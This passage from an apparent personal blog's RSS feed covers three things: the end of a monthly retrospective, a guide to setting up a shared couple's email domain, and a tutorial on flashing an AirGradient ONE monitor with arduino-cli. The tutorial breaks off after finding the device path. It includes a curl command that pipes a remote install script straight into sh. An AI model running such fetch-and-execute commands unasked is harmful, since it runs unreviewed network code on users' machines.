&lt;p>I made only little bits of progress on my chat log parser project. I handled logs &lt;a href="https://codeberg.org/mtlynch/gleam-chat-log-parser/pulls/34">that contain away messages&lt;/a> and logs that had &lt;a href="https://codeberg.org/mtlynch/gleam-chat-log-parser/pulls/30">Windows-style line endings (&lt;code>\r\n&lt;/code>)&lt;/a>. Strangely, in Erlang (and therefore also in Gleam), &lt;a href="https://www.erlang.org/docs/23/man/string">&lt;code>\r\n&lt;/code> counts as a single character&lt;/a>, which tripped me up for a while.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published the &amp;ldquo;Get to the Point&amp;rdquo; chapter of &lt;em>Refactoring English&lt;/em>.&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/couples-email-domain/">&amp;ldquo;Give Your Spouse the Gift of a Couple&amp;rsquo;s Email Domain&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Published a &lt;a href="https://mtlynch.io/notes/flash-airgradient-cli/">tutorial on flashing an AirGradient air quality monitor&lt;/a> from the command line.&lt;/li>
&lt;li>Published &lt;a href="https://refactoringenglish.com/blog/chapter-interest-results/">&amp;ldquo;Reader Feedback about my Chapter List&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Went back to using LeechBlockNG to protect focus during the day.
&lt;ul>
&lt;li>It&amp;rsquo;s working well this time around! I&amp;rsquo;m &lt;a href="https://mtlynch.io/retrospectives/2025/08/#bad-social-media-habits">not running into memory leaks&lt;/a>, and it&amp;rsquo;s preventing me from straying into social media during my workday.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Be &lt;a href="https://mtlynch.io/retrospectives/2025/09/#takeaways-for-editing-video">more disciplined about editing video&lt;/a>&lt;/li>
&lt;li>Editing the video of an interview is tedious, but editing and styling the transcript is fun.&lt;/li>
&lt;li>An order of magnitude more customers are willing to give feedback if it requires only a few minutes of work rather than 30 minutes of work.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Publish something that attracts new readers to the &lt;em>Refactoring English&lt;/em> website.&lt;/li>
&lt;li>Publish a new chapter of &lt;em>Refactoring English&lt;/em>.&lt;/li>
&lt;li>Write personalized emails to 20 readers I haven&amp;rsquo;t spoken to before.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Give Your Spouse the Gift of a Couple's Email Domain</title><link>https://mtlynch.io/couples-email-domain/</link><pubDate>Tue, 26 Aug 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/couples-email-domain/</guid><description>&lt;!-- markdownlint-disable no-bare-urls -->
&lt;p>I&amp;rsquo;ve only been married for a few years, but I have a fantastic marriage tip you won&amp;rsquo;t hear from any marriage counselor or book:&lt;/p>
&lt;ul>
&lt;li>Get a couple&amp;rsquo;s email domain&lt;/li>
&lt;/ul>
&lt;h2 id="whats-a-couples-email-domain">What&amp;rsquo;s a couple&amp;rsquo;s email domain?&lt;/h2>
&lt;p>My wife and I share a .com domain name for email. I&amp;rsquo;m not going to reveal our real domain name, but pretend it&amp;rsquo;s this:&lt;/p>
&lt;ul>
&lt;li>@shinytable.com&lt;/li>
&lt;/ul>
&lt;p>Emails to &lt;a href="mailto:michael@shinytable.com">michael@shinytable.com&lt;/a> go to both me and my wife, and the same for her name.&lt;/p></description><content:encoded>&lt;!-- markdownlint-disable no-bare-urls -->
&lt;p>I&amp;rsquo;ve only been married for a few years, but I have a fantastic marriage tip you won&amp;rsquo;t hear from any marriage counselor or book:&lt;/p>
&lt;ul>
&lt;li>Get a couple&amp;rsquo;s email domain&lt;/li>
&lt;/ul>
&lt;h2 id="whats-a-couples-email-domain">What&amp;rsquo;s a couple&amp;rsquo;s email domain?&lt;/h2>
&lt;p>My wife and I share a .com domain name for email. I&amp;rsquo;m not going to reveal our real domain name, but pretend it&amp;rsquo;s this:&lt;/p>
&lt;ul>
&lt;li>@shinytable.com&lt;/li>
&lt;/ul>
&lt;p>Emails to &lt;a href="mailto:michael@shinytable.com">michael@shinytable.com&lt;/a> go to both me and my wife, and the same for her name.&lt;/p>
&lt;h2 id="no-not-a-shared-gmail-account">No, not a shared Gmail account&lt;/h2>
&lt;p>When I tell people that my wife and I have a couple&amp;rsquo;s email domain, they think I registered a Gmail account like &lt;a href="mailto:michaelandhiswife25@gmail.com">michaelandhiswife25@gmail.com&lt;/a>, and we share access to that account. That&amp;rsquo;s not what I mean.&lt;/p>
&lt;p>We have a couple&amp;rsquo;s email &lt;em>domain&lt;/em>. We still send and receive email through our normal email accounts.&lt;/p>
&lt;p>If you email &lt;a href="mailto:michael@shinytable.com">michael@shinytable.com&lt;/a> or my wife&amp;rsquo;s name, we both receive the email in our normal inboxes. We don&amp;rsquo;t have a special @shinytable.com inbox we have to check separately. Similarly, we can both send emails as each other, if needed.&lt;/p>
&lt;p>You can get most of the same benefits by sharing an extra email account, but then you&amp;rsquo;re stuck managing an extra inbox and messing up each other&amp;rsquo;s read/unread status.&lt;/p>
&lt;h2 id="why-get-a-couples-email-domain">Why get a couple&amp;rsquo;s email domain?&lt;/h2>
&lt;h3 id="keeping-everyone-looped-in-with-vendors">Keeping everyone looped in with vendors&lt;/h3>
&lt;p>I got the idea for a couple&amp;rsquo;s email domain while my wife and I were planning our wedding. Despite the fact that it&amp;rsquo;s a core part of their job, most wedding vendors don&amp;rsquo;t seem to understand how to send emails to two people at once.&lt;/p>
&lt;p>If I emailed a photographer and cc&amp;rsquo;ed my wife, half the time the photographer would forget to reply-all, cutting my wife out of the thread.&lt;/p>
&lt;p>By switching to a couple&amp;rsquo;s email domain, we made it impossible for vendors to accidentally drop one of us from the thread. Even when emails were addressed only to &lt;a href="mailto:michael@shinytable.com">michael@shinytable.com&lt;/a>, they still went to my wife as well.&lt;/p>
&lt;h3 id="shared-online-accounts">Shared online accounts&lt;/h3>
&lt;p>As a married couple, my wife and I share lots of online accounts: insurance, tax bills, grocery delivery, etc.&lt;/p>
&lt;p>We sign up for all shared services using our couple&amp;rsquo;s email domain and save the credentials in our shared password manager, &lt;a href="https://bitwarden.com/">Bitwarden&lt;/a>. That way, we both receive all notices related to our shared accounts. If we ever have to do a password reset, either of us can do it.&lt;/p>
&lt;h2 id="picking-a-good-domain-name">Picking a good domain name&lt;/h2>
&lt;p>When you pick a couple&amp;rsquo;s domain name, consider the experience of saying your email address over the phone, especially to support reps who may not speak English natively:&lt;/p>
&lt;ul>
&lt;li>Choose words that have easy, unambiguous spelling
&lt;ul>
&lt;li>e.g., don&amp;rsquo;t use a word like &amp;ldquo;scent&amp;rdquo; because people might think you meant &amp;ldquo;sent&amp;rdquo; or &amp;ldquo;cent.&amp;rdquo;&lt;/li>
&lt;li>e.g., don&amp;rsquo;t use a word like &amp;ldquo;accommodate&amp;rdquo; because only six people can spell it correctly on their first try.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Choose words that sound distinct from other words, especially in sequence
&lt;ul>
&lt;li>e.g., if you choose &amp;ldquo;clean ditch,&amp;rdquo; people will probably mishear it as &amp;ldquo;clean dish.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>So, shinytable.com is not our real domain, but it would be a good couple&amp;rsquo;s domain because most English speakers can spell the words &amp;ldquo;shiny&amp;rdquo; and &amp;ldquo;table,&amp;rdquo; and it&amp;rsquo;s hard to mishear &amp;ldquo;shiny table dot com&amp;rdquo; as something else.&lt;/p>
&lt;h2 id="how-to-set-up-a-couples-email-domain">How to set up a couple&amp;rsquo;s email domain&lt;/h2>
&lt;h3 id="buy-a-domain-name">Buy a domain name&lt;/h3>
&lt;p>To set up a couple&amp;rsquo;s domain for you and your spouse, the first step is to buy a domain name.&lt;/p>
&lt;p>Some email providers let you buy a domain name within their service. I prefer to buy my domains from a dedicated domain registrar. The prices are generally better, and I have the freedom to switch email providers. You can buy the domain name from your email vendor if you prefer the simpler solution.&lt;/p>
&lt;h3 id="connect-your-custom-domain-to-your-email-account">Connect your custom domain to your email account&lt;/h3>
&lt;p>Next, you need to connect your domain name to your email account. You&amp;rsquo;ll connect your spouse&amp;rsquo;s soon after.&lt;/p>
&lt;p>I use Fastmail, and they support custom domain names particularly well. So, once I&amp;rsquo;ve purchased the domain, I go to Settings &amp;gt; Domains to connect &lt;code>shinytable.com&lt;/code> to my Fastmail account.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/couples-email-domain/fastmail-add-domain.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/couples-email-domain/fastmail-add-domain_hu_32fb14fa62dcc1b.webp 300w, https://mtlynch.io/couples-email-domain/fastmail-add-domain_hu_3157d44a5365280c.webp 600w, https://mtlynch.io/couples-email-domain/fastmail-add-domain_hu_510d8c7d8cb12b1.webp 800w, https://mtlynch.io/couples-email-domain/fastmail-add-domain.webp 1066w'
 src="https://mtlynch.io/couples-email-domain/fastmail-add-domain.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>You can also connect a custom domain to &lt;a href="https://andykong.org/blog/freebusinessemail/">a basic, free Gmail account&lt;/a>, but Google makes this process somewhat tedious process because they want you to pay for the feature in Google Workspace.&lt;/p>
&lt;h3 id="forward-mail-to-your-spouse">Forward mail to your spouse&lt;/h3>
&lt;p>Once you&amp;rsquo;re able to send and receive email with your custom domain name, the next step is automatically forwarding your spouse all emails to your couple&amp;rsquo;s domain.&lt;/p>
&lt;p>If you use Gmail, create a filter with your domain name and configure it to forward emails to your spouse&amp;rsquo;s email address:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 640px">



 &lt;a href="https://mtlynch.io/couples-email-domain/gmail-rule.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 640px, 98vw"
 srcset='https://mtlynch.io/couples-email-domain/gmail-rule_hu_5c122e4a9a75ebb3.webp 300w, https://mtlynch.io/couples-email-domain/gmail-rule_hu_62efd915c8cbf407.webp 600w, https://mtlynch.io/couples-email-domain/gmail-rule.webp 638w'
 src="https://mtlynch.io/couples-email-domain/gmail-rule.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>If you use Fastmail, got to Settings &amp;gt; Users &amp;amp; Sharing &amp;gt; Aliases and then click your couple&amp;rsquo;s domain name. Click &amp;ldquo;Show advanced preferences&amp;rdquo; to add a second recipient. Then, add your spouse&amp;rsquo;s email to the alias and hit &amp;ldquo;Save.&amp;rdquo;&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 746px">



 &lt;a href="https://mtlynch.io/couples-email-domain/fastmail-alias.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 746px, 98vw"
 srcset='https://mtlynch.io/couples-email-domain/fastmail-alias_hu_29613de103b2c3b1.webp 300w, https://mtlynch.io/couples-email-domain/fastmail-alias_hu_bd358db3e5d87779.webp 600w, https://mtlynch.io/couples-email-domain/fastmail-alias.webp 744w'
 src="https://mtlynch.io/couples-email-domain/fastmail-alias.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Once your spouse can receive emails to that domain, they need to do the same thing you did above to send emails using the custom domain.&lt;/p>
&lt;h2 id="tips-for-using-your-couples-email-domain">Tips for using your couple&amp;rsquo;s email domain&lt;/h2>
&lt;h3 id="avoid-double-replies-cc-your-spouse">Avoid double replies: cc your spouse&lt;/h3>
&lt;p>On group threads with you and your spouse, you do still have to watch out for the other party dropping one of you from the thread. If that happens, you&amp;rsquo;d both still receive replies from the other party, but you&amp;rsquo;d miss your spouse&amp;rsquo;s reply.&lt;/p>
&lt;p>To prevent this, just make sure to cc or bcc your spouse (or yourself) on all replies.&lt;/p>
&lt;p>In practice, this has rarely been a problem. If my wife and I are both on an email thread with a vendor, typically one of us is actively managing the project and the other is just following along. Even if we forget to cc each other, we&amp;rsquo;re still seeing all the responses from the vendor.&lt;/p>
&lt;h3 id="dont-give-your-couples-email-address-to-friends-and-family">Don&amp;rsquo;t give your couple&amp;rsquo;s email address to friends and family&lt;/h3>
&lt;p>When I first set up our couple&amp;rsquo;s email domain, I was so excited about how well it worked that I thought about using it for all emails threads we&amp;rsquo;re both on, including with family and friends.&lt;/p>
&lt;p>Then, I realized that if a person emails &lt;a href="mailto:michael@shinytable.com">michael@shinytable.com&lt;/a>, they&amp;rsquo;d reasonably assume I&amp;rsquo;m the only recipient and might say something they don&amp;rsquo;t mean for my wife to see.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: If you&amp;rsquo;re reading this, and you&amp;rsquo;re my wife, I just mean for like&amp;hellip; surprise parties and stuff.
&lt;/div>

&lt;p>So, we only give out our couple&amp;rsquo;s email addresses to online services or people with whom we have a pure business relationship.&lt;/p>
&lt;h3 id="bonus-use-per-service-couples-email-addresses">Bonus: Use per-service couple&amp;rsquo;s email addresses&lt;/h3>
&lt;p>These days, if I order a $7 spatula online, the merchant immediately starts spamming me about kitchenware deals and shares my email with their 900 closest, trusted advertising partners.&lt;/p>
&lt;p>To prevent spam, I go a step further with my couple&amp;rsquo;s email domain and give each vendor a unique email address. So, instead of entering &lt;a href="mailto:michael@shinytable.com">michael@shinytable.com&lt;/a> as my email address at checkout, I&amp;rsquo;d use the vendor&amp;rsquo;s name, like &lt;a href="mailto:cheapspatulasdirect@shinytable.com">cheapspatulasdirect@shinytable.com&lt;/a>. If I start receiving spam, I just block emails from &lt;a href="mailto:cheapspatulasdirect@shinytable.com">cheapspatulasdirect@shinytable.com&lt;/a>.&lt;/p>
&lt;p>Per-service email addresses are fine when I&amp;rsquo;m typing the address into a web form, but if I tell Jane the dogwalker that my email address is &lt;a href="mailto:jane.the.dogwalker@shinytable.com">jane.the.dogwalker@shinytable.com&lt;/a>, she gets confused or weirded out. In those cases, I&amp;rsquo;ll say Michael but add a semi-random suffix like &lt;a href="mailto:michael.dw5@shinytable.com">michael.dw5@shinytable.com&lt;/a>, where &amp;ldquo;dw&amp;rdquo; is for dogwalker and the 5 is in case I&amp;rsquo;ve used &amp;ldquo;dw&amp;rdquo; as a suffix before.&lt;/p>
&lt;p>I use the same technique to obscure the vendor&amp;rsquo;s name for services that are aggressive at fraud prevention. I once signed up for a food delivery service, and as soon as I placed my first order, they flagged my account for fraud and canceled my order. I suspect the reason was that the vendor&amp;rsquo;s name appeared in my email address. So, now, if I sign up with a service that might be sensitive to fraud, I do my name plus some random numbers.&lt;/p>
&lt;p>Per-service email domains work especially well with Fastmail, as they allow unlimited email addresses and support wildcard (&amp;ldquo;catch-all&amp;rdquo;) addresses (&lt;code>*@shinytable.com&lt;/code>). You can do this with Gmail as well, and it works fine for receiving mail, but if you ever need to send mail from &lt;a href="mailto:cheapspatulasdirect@shinytable.com">cheapspatulasdirect@shinytable.com&lt;/a>, you have to go through the tedious process of adding it to your Gmail account. With Fastmail, you can send from any email address within your domain with zero configuration.&lt;/p>
&lt;hr>
&lt;p>&lt;em>Cover image by &lt;a href="https://cartoony.eu">Piotr Letachowicz&lt;/a>.&lt;/em>&lt;/p></content:encoded></item><item><title>Flash an AirGradient ONE from the Command Line</title><link>https://mtlynch.io/notes/flash-airgradient-cli/</link><pubDate>Sat, 23 Aug 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/flash-airgradient-cli/</guid><description>&lt;p>I&amp;rsquo;ve purchased two AirGradient ONE indoor quality monitors to measure air quality in my home. AirGradient devices are open-source, so you can flash your own custom firmware and collect your air data locally rather than sending it to AirGradient&amp;rsquo;s proprietary cloud dashboard.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/notes/flash-airgradient-cli/airgradient-one.webp">
 &lt;img
 
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/notes/flash-airgradient-cli/airgradient-one_hu_65f3bf9efc4f7bd.webp 300w, https://mtlynch.io/notes/flash-airgradient-cli/airgradient-one_hu_7f48c6b9cfb6b910.webp 600w, https://mtlynch.io/notes/flash-airgradient-cli/airgradient-one_hu_369c63fc176e9737.webp 800w, https://mtlynch.io/notes/flash-airgradient-cli/airgradient-one.webp 900w'
 src="https://mtlynch.io/notes/flash-airgradient-cli/airgradient-one.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I keep an AirGradient ONE air quality monitor in my office to measure CO2 and pollution.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The existing documentation for flashing firmware requires you to use the Arduino IDE, a clunky GUI program:&lt;/p></description><content:encoded>&lt;p>I&amp;rsquo;ve purchased two AirGradient ONE indoor quality monitors to measure air quality in my home. AirGradient devices are open-source, so you can flash your own custom firmware and collect your air data locally rather than sending it to AirGradient&amp;rsquo;s proprietary cloud dashboard.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 300px">



 &lt;a href="https://mtlynch.io/notes/flash-airgradient-cli/airgradient-one.webp">
 &lt;img
 
 sizes="(min-width: 768px) 300px, 98vw"
 srcset='https://mtlynch.io/notes/flash-airgradient-cli/airgradient-one_hu_65f3bf9efc4f7bd.webp 300w, https://mtlynch.io/notes/flash-airgradient-cli/airgradient-one_hu_7f48c6b9cfb6b910.webp 600w, https://mtlynch.io/notes/flash-airgradient-cli/airgradient-one_hu_369c63fc176e9737.webp 800w, https://mtlynch.io/notes/flash-airgradient-cli/airgradient-one.webp 900w'
 src="https://mtlynch.io/notes/flash-airgradient-cli/airgradient-one.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I keep an AirGradient ONE air quality monitor in my office to measure CO2 and pollution.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The existing documentation for flashing firmware requires you to use the Arduino IDE, a clunky GUI program:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/flash-airgradient-cli/arduino-ide.webp">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/flash-airgradient-cli/arduino-ide_hu_a34689596f6660fb.webp 300w, https://mtlynch.io/notes/flash-airgradient-cli/arduino-ide_hu_527df6d4aa937149.webp 600w, https://mtlynch.io/notes/flash-airgradient-cli/arduino-ide_hu_f45add9d60ebed63.webp 800w, https://mtlynch.io/notes/flash-airgradient-cli/arduino-ide_hu_372a21a9dffeff66.webp 1200w, https://mtlynch.io/notes/flash-airgradient-cli/arduino-ide.webp 1290w'
 src="https://mtlynch.io/notes/flash-airgradient-cli/arduino-ide.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Existing instructions for flashing AirGradient ONE rely on the Arduino IDE, a clunky GUI program.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I couldn&amp;rsquo;t find instructions for flashing AirGradient devices using the command-line, and it took me several hours to figure out, so I&amp;rsquo;ve included the steps below.&lt;/p>
&lt;h2 id="aside-i-dont-get-the-hype-about-airgradient">Aside: I don&amp;rsquo;t get the hype about AirGradient&lt;/h2>
&lt;p>Every time I see AirGradient come up on forum discussions, everyone sounds excited about their products. I&amp;rsquo;ve found my AirGradient ONE to be mediocre. The software is extremely buggy and the documentation is sparse. But they&amp;rsquo;re the only company I&amp;rsquo;ve found that sells pre-made air quality monitors that are open-source, so I bought a second AirGradient monitor.&lt;/p>
&lt;p>For years, AirGradient never bothered to publish instructions for flashing software onto the AirGradient ONE. I learned how to do it from these blog posts:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.jeffgeerling.com/blog/2021/airgradient-diy-air-quality-monitor-co2-pm25">&amp;ldquo;Monitoring my home&amp;rsquo;s air quality (CO2, PM2.5, Temp/Humidity) with AirGradient&amp;rsquo;s DIY sensor&amp;rdquo;&lt;/a> by Jeff Geerling&lt;/li>
&lt;li>&lt;a href="https://www.cnx-software.com/2023/11/29/airgradient-one-kit-review-an-open-source-indoor-air-quality-monitor/">&amp;ldquo;AirGradient ONE Kit Review – An open-source indoor air quality monitor&amp;rdquo;&lt;/a> by CNX Software&lt;/li>
&lt;/ul>
&lt;p>This year finally, AirGradient &lt;a href="https://github.com/airgradienthq/arduino/blob/eb8378adfa1faaf18fa04738ae460bcf542fef85/docs/howto-compile.md">published official flashing instructions&lt;/a>, but they&amp;rsquo;re still &lt;a href="https://github.com/airgradienthq/arduino/issues/335">a bit hidden&lt;/a>.&lt;/p>
&lt;h2 id="environment">Environment&lt;/h2>
&lt;p>I tested these steps on Debian 13.0, but they should work on any Debian/Ubuntu-like system.&lt;/p>
&lt;h2 id="install-packages">Install packages&lt;/h2>
&lt;p>First, I install the base packages I need:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo apt update &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo apt install -y &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> git &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> curl &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> python3 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> python3-serial
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="install-arduino-cli">Install arduino-cli&lt;/h2>
&lt;p>Next, I install the Arduino CLI tool:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">ARDUINO_CLI_VERSION&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;1.2.2&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">ARDUINO_BIN_DIR&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">HOME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/.local/arduino-cli&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mkdir -p &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">ARDUINO_BIN_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> curl -fsSL https://raw.githubusercontent.com/arduino/arduino-cli/master/install.sh &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | &lt;span style="color:#40ffff">BINDIR&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">ARDUINO_BIN_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> sh -s &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">ARDUINO_CLI_VERSION&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">export&lt;/span> &lt;span style="color:#40ffff">PATH&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">PATH&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">:&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">ARDUINO_BIN_DIR&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To verify the install was successful, I print out the version string for &lt;code>arduino-cli&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ arduino-cli version
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>arduino-cli Version: 1.2.2 Commit: c11b9dd5 Date: 2025-04-22T13:51:01Z
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="download-esp32-libraries">Download ESP32 libraries&lt;/h2>
&lt;p>AirGradient ONE depends on the ESP32 Arduino libraries. As of this writing, AirGradient is not yet compatible with the 3.x versions of Arduino, so I have to use the latest stable 2.x version.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">ARDUINO_ESP32_VERSION&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;2.0.17&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>arduino-cli config init &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --additional-urls https://espressif.github.io/arduino-esp32/package_esp32_index.json &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> arduino-cli core install &lt;span style="color:#ed9d13">&amp;#34;esp32:esp32@&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">ARDUINO_ESP32_VERSION&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="find-the-path-to-my-device">Find the path to my device&lt;/h2>
&lt;p>Next, I need the device path to my AirGradient ONE. The simplest way to find the device path is:&lt;/p>
&lt;ol>
&lt;li>Run &lt;code>dmesg --follow&lt;/code>&lt;/li>
&lt;li>Plug my AirGradient ONE into my system via USB&lt;/li>
&lt;li>Look for the device path to appear in the &lt;code>dmesg&lt;/code> output&lt;/li>
&lt;/ol>
&lt;p>Here&amp;rsquo;s what it looks like on my system:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ sudo dmesg --follow
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[517021.978880] usb 1-4: New USB device found, &lt;span style="color:#40ffff">idVendor&lt;/span>=303a, &lt;span style="color:#40ffff">idProduct&lt;/span>=1001, &lt;span style="color:#40ffff">bcdDevice&lt;/span>= 1.01
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[517021.978884] usb 1-4: New USB device strings: &lt;span style="color:#40ffff">Mfr&lt;/span>=1, &lt;span style="color:#40ffff">Product&lt;/span>=2, &lt;span style="color:#40ffff">SerialNumber&lt;/span>=&lt;span style="color:#3677a9">3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[517021.978894] usb 1-4: Product: USB JTAG/serial debug unit
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[517021.978896] usb 1-4: Manufacturer: Espressif
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[517021.978898] usb 1-4: SerialNumber: D8:3B:DA:1A:EE:C4
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[517022.017678] cdc_acm 1-4:1.0: ttyACM0: USB ACM device
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ^^^^^^^
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Path name
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Given this output, the path on my system to my AirGradient ONE is &lt;code>/dev/ttyACM0&lt;/code>:&lt;/p>
